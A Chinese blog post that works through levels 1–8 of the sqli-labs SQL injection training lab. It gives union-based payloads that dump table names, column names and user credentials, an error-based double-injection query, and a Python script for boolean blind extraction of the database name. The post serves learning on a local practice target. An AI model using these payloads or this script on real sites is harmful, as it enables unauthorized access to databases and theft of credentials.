sqli-labs的学习记录一(1-8)

  偶然发现sqli-labs这个练习平台(本地),这个平台有很多案例可以提供给同学学习,很适合初学者入门。写篇博客装个逼记录下学习过程(假装我是大佬)

下载安装

  • 首先附上github的下载地址–>传送门
  • 下载phpstudy,phpstudy的站点目录是这个PHPTutorial\WWW,把刚刚下载的平台解压放到里面
  • 如果我没记错的话,phpstudy的mysql初始密码是root,在sql-connections\db-creds.inc写上你的mysql数据库密码
    1
    上述步骤做完后就可以启动phpstudy,然后打开火狐浏览器(记得安装hackbar插件),访问localhost/sqli-labs-master/看待下面的页面就算安装好了
    点击Setup/reset Database for labs建立数据库
    2

开始学习

less-1

第一关是最简单的一关了,直接id=1'就报错了
3
再测试id=1' and '1'='1
4
返回正常,不难想象我们想数据库递交id=1的语句为

select * from tables where id = '1'

递交id=1' and '1'='1的语句为

select * from tables where id = '1' and '1'='1'

接下来测试id=1' union select database() -- +-- +是注释符
5
发现报错了,错误上说了,列的数量对不上,修改为id=1' union select 1,2,database() -- +,页面返回正常但没有返回我们所希望的数据库名称
这个是因为index.php中mysql_fetch_array函数只调用了一个
6
mysql_fetch_array函数的作用是从结果集中取得一行作为关联数组或数字数组或二者兼有,可以在终端下试一下,这里就不演示了,下面是我们提交sql查询语句在终端下的结果

mysql> select * from users where id = '1' union select 1,2,database();
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | Dumb     | Dumb     |
|  1 | 2        | security |
+----+----------+----------+
2 rows in set (0.00 sec)

上面查询结果可以看到返回了两个结果,但是mysql_fetch_array只取一行,也就是说要让查询出来的结果放在第一行,这里就用最简单快捷的一种,把id的1改为-1,-1查询不到,因此结果就是我们想要的

mysql> select * from users where id = '-1' union select 1,2,database();
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | 2        | security |
+----+----------+----------+
1 row in set (0.00 sec)

最终的payload为id=-1' union select 1,2,database() -- +
7
由于这篇文章是面向初学者写的,可能会比较啰嗦,mysql数据库初始时有四个数据库,如下

mysql> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| mysql              |
| performance_schema |
| test               |
+--------------------+
4 rows in set (0.01 sec)

其中,information_schema这个数据库中存着所有数据库的名字及表单列名,详细的细节这里不列出来有不懂的兴趣的可以去了解一下–>传送门,我们也是要先在这个数据库里找到当前数据库的表单和列名才可以把某个表的数据列出来

mysql> select table_name from information_schema.tables where table_schema = 'security';
+------------+
| table_name |
+------------+
| emails     |
| referers   |
| uagents    |
| users      |
+------------+
4 rows in set (0.00 sec)

这里可以偷个懒,我们可以不找数据库名直接让table_schema=database()就可以省了一步

mysql> select table_name from information_schema.tables where table_schema = database();
+------------+
| table_name |
+------------+
| emails     |
| referers   |
| uagents    |
| users      |
+------------+
4 rows in set (0.00 sec)

所以我们的payload为

id=-1' union select 1,2,table_name from information_schema.tables where table_schema = 'security' -- +

8
但是这样我们只能得到一个表,下面要用到一个函数group__concat,下面演示一下效果

mysql> select group_concat(table_name) from information_schema.tables where table_schema = 'security';
+-------------------------------+
| group_concat(table_name)      |
+-------------------------------+
| emails,referers,uagents,users |
+-------------------------------+
1 row in set (0.00 sec)

group_concat的作用就是把多个查询结果并到一起,于是payload修改为

id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = 'security' -- +

9
用户账号密码应该在users表里头了,我们要查的表就是users表了,简单修改一下payload,把table_name换成column_name,把information_schema.tables换成information_schema.columns,再把table_schema换成table_name,payload为

id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name = 'users' -- +

10
列也知道了,我们就直接枚举username和password,payload为

id=-1' union select 1,group_concat(username),group_concat(password) from users -- +

11
第一关就算是过了

less-2

第二关和第一关如出一辙,只不过id后面的内容没有引号引起来,php代码对比如下

SELECT * FROM users WHERE id='$id' LIMIT 0,1
#第一关
SELECT * FROM users WHERE id=$id LIMIT 0,1
第二关

所以我们把paylaod的id-1后面的单引号去掉就好了甚至注释符都不用
payload如下

id=-1 union select 1,2,database()
id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = 'security'
id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name = 'users'
id=-1 union select 1,group_concat(username),group_concat(password) from users

第二关完

less-3

第三关

SELECT * FROM users WHERE id=('$id') LIMIT 0,1

多了括号,直接上payload吧

id=-1') union select 1,2,database() -- +

就不多列了

less-4

第四关
这次有点不同,当我们测试id=1'时返回页面是正常的,测试id=1"报错
12
根据报错信息来看,查询语句大概如下

SELECT * FROM users WHERE id=("$id") LIMIT 0,1

看一眼index.php,差不多
13
还是那个payload,换汤不换药

id=-1") union select 1,2,database() -- +

less-5

第五关开始提高难度
首先从大纲里看到第五关是双注入(double injection),单引号(single quote)
14
这个注入我也好久才理解,就不做了,直接分析
15
首先,sql查询正确会返回You are in...........,错误会返回sql的错误,也就是说我们输入正确的查询语句不会返回结果,所以我们要提交错误的查询语句,或者说会报错的语句比较合适,先介绍一些函数count()rand(),floor(),concat_ws

count()         计算总数
rand()    	 	生成0~1的随机数
floor()    		向下取整
concat_ws() 	拼接查询结果

最后一个可能不好理解,用例子说明下

mysql> select concat_ws(':',username,password) from users;
+----------------------------------+
| concat_ws(':',username,password) |
+----------------------------------+
| Dumb:Dumb                        |
| admin:admin                      |
| admin1:admin1                    |
| admin2:admin2                    |
| admin3:admin3                    |
| dhakkan:dumbo                    |
| admin4:admin4                    |
+----------------------------------+
7 rows in set (0.00 sec)

1
rand()2生成0~2的随机数,floor(rand()2)产生0或1
2
select database()为例子

select database()
concat_ws(':',select database(),floor(rand()*2))
select conut(*),concat_ws(':',(select database()),floor(rand()*2)) as a from information_schema.tables group by a

16
数据库名security已经出来了
关于原因
concat_ws(':',select database(),floor(rand()*2))会产生一大堆security:0security:1的查询结果,重点在group by,在排序时,排序的结果在临时表里,在插入前会先计算一遍要插入结果的内容,假如是security:0,如果此时临时表只有security:1的行不存在security:0的行,那么数据库要将该条记录插入临时表,由于后面的0和1是随机数,在插入时又要计算一次,那么此时的结果可能已经不再是security:0而变成了security:1了,就会导致插入时冲突而报错。即检测时和插入时两次计算了随机数的值。
后面的基本差不多,就不列了,有人可能把这道题当做盲注来做一开始我也是这么想的

less-6

双引号的双注入>,把less-5的单引号变成双引号,换汤不换药

less-7

导入文件注入,这个需要知道网站在系统中的具体位置,(网站管理员怎么可能给你知道。。)也比较难,网上也有写的狠详细的过程–>传送门,就直接下一关吧

less-8

Blind Boolian Based(布尔盲注),这里又涉及到一个盲注的概念,上面的可以直接返回结果是直接注入拿到数据库表单及列等数据,盲注就是,查询结果正确页面返回正常,查询错误页面返回错误,不会带出数据
举很简单的例子,1=1正确
17
1=2错误
18
然后注入方法就是不断的查询,通常盲注都要写脚本,先介绍一些函数,ascii(),这个函数式把字母变成ascii码值,substr()这个函数式切割字符串,假设a=test,substr(a,1,1)=t,substr(a,2,1)=e,以此类推,查数据库payload

id=1' and ascii(substr(database(),1,1)) >= '97

substrdatabase()的第一个字符,ascii把它变化才能ascii码值,然后做对比,比较它的ascii码值是否大于等于97,即’a’
19
返回正确,然后一直判断下去,遍历所有字母,一个个去试肯定比较麻烦,所以首选写脚本,其次也不能一个个遍历,可以用二分法,可以节省很多时间,python自动跑数据库名脚本如下

import requests
txt1 = "http://localhost/sqli-labs/Less-8/?id=1' and ascii(substr(database(),"
txt2 = ",1)) >= '"
txt3 = ",1)) = '"
payload1 = 1 
payload2 = 97
txt4 = 'You are in..........'
num11 = 97
num12 = 65
num13 = 48
code = ''
num1 = 0
num2 = 0
num3 = 0
for i in range(1,9)://长度
	url = txt1+str(i)+txt2+str(num11)
	req = requests.get(url = url)
	reqtext = req.text[570:590]
	//reqtext是获取页面上的内容是不是等于txt4
	if(reqtext == txt4):
		num1 = 1

	url = txt1+str(i)+txt2+str(num12)
	req = requests.get(url = url)
	reqtext = req.text[570:590]
	if(reqtext == txt4):
		num2 = 1

	url = txt1+str(i)+txt2+str(num13)
	req = requests.get(url = url)
	reqtext = req.text[570:590]
	if(reqtext == txt4):
		num3 = 1
//判断范围,数字48-57,大写65-90,小写97-122
//字母切三次,判断三次,部分四次,abc def ghi jklm nop qrs tuv wxyz
//数字切一次,判断五次,01234 56789

	if(num1 == 1):
		num = 97
		num += 13
		url = txt1+str(i)+txt2+str(num)
		req = requests.get(url = url)
		reqtext = req.text[570:590]
		if(reqtext == txt4):
			num += 6
		else:
			num -= 7
		url = txt1+str(i)+txt2+str(num)
		req = requests.get(url = url)
		reqtext = req.text[570:590]
		if(reqtext == txt4):
			num += 3
		else:
			num -= 3
		url = txt1+str(i)+txt2+str(num)
		req = requests.get(url = url)
		reqtext = req.text[570:590]
		if(reqtext != txt4):
			num -= 3
		if(reqtext == txt4) and ((num == 106) or (num == 119)):
			for j in range(num,num+4):
				url = txt1+str(i)+txt3+str(j)
				req = requests.get(url = url)
				reqtext = req.text[570:590]
				if(reqtext == txt4):
					code += chr(j)
					print code
					num1 = 0
					num2 = 0
					num3 = 0
		else:
			for j in range(num,num+3):
				url = txt1+str(i)+txt3+str(j)
				req = requests.get(url = url)
				reqtext = req.text[570:590]
				if(reqtext == txt4):
					code += chr(j)
					print code
					num1 = 0
					num2 = 0
					num3 = 0
	if(num1 == 0 and num2 == 1):
		num = 65
		num += 13
		url = txt1+str(i)+txt2+str(num)
		req = requests.get(url = url)
		reqtext = req.text[570:590]
		if(reqtext == txt4):
			num += 6
		else:
			num -= 7
		url = txt1+str(i)+txt2+str(num)
		req = requests.get(url = url)
		reqtext = req.text[570:590]
		if(reqtext == txt4):
			num += 3
		else:
			num -= 3
		url = txt1+str(i)+txt2+str(num)
		req = requests.get(url = url)
		reqtext = req.text[570:590]
		if(reqtext != txt4):
			num -= 3
		if(reqtext == txt4) and ((num == 74) or (num == 87)):
			for j in range(num,num+4):
				url = txt1+str(i)+txt3+str(j)
				req = requests.get(url = url)
				reqtext = req.text[570:590]
				if(reqtext == txt4):
					code += chr(j)
					print code
					num1 = 0
					num2 = 0
					num3 = 0
		else:
			for j in range(num,num+3):
				url = txt1+str(i)+txt3+str(j)
				req = requests.get(url = url)
				reqtext = req.text[570:590]
				if(reqtext == txt4):
					code += chr(j)
					print code
					num1 = 0
					num2 = 0
					num3 = 0
	if(num2 == 0 and num3 == 1):
		num =48
		num += 5
		url = txt1+str(i)+txt2+str(num)
		req = requests.get(url = url)
		reqtext = req.text[570:590]
		if(reqtext == txt4):
			for j in range(num,num+5):
				url = txt1+str(i)+txt3+str(j)
				req = requests.get(url = url)
				reqtext = req.text[570:590]
				if(reqtext == txt4):
					code += chr(j)
					print code
					num1 = 0
					num2 = 0
					num3 = 0
		else:
			num -= 5
			for j in range(num,num+5):
				url = txt1+str(i)+txt3+str(j)
				req = requests.get(url = url)
				reqtext = req.text[570:590]
				if(reqtext == txt4):
					code += chr(j)
					print code
					num1 = 0
					num2 = 0
					num3 = 0

结果如下
20
查表查列修改代码url部分即可,给出前面部分,长度需要自己调整,手工判断下就可以了,没有必要写脚本

import requests
txt1 = "http://localhost/sqli-labs/Less-8/?id=1' and (ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 2,1),"
txt2 = ",1))) >= '"
txt3 = ",1))) = '"

妈呀写博客比学的还累。。。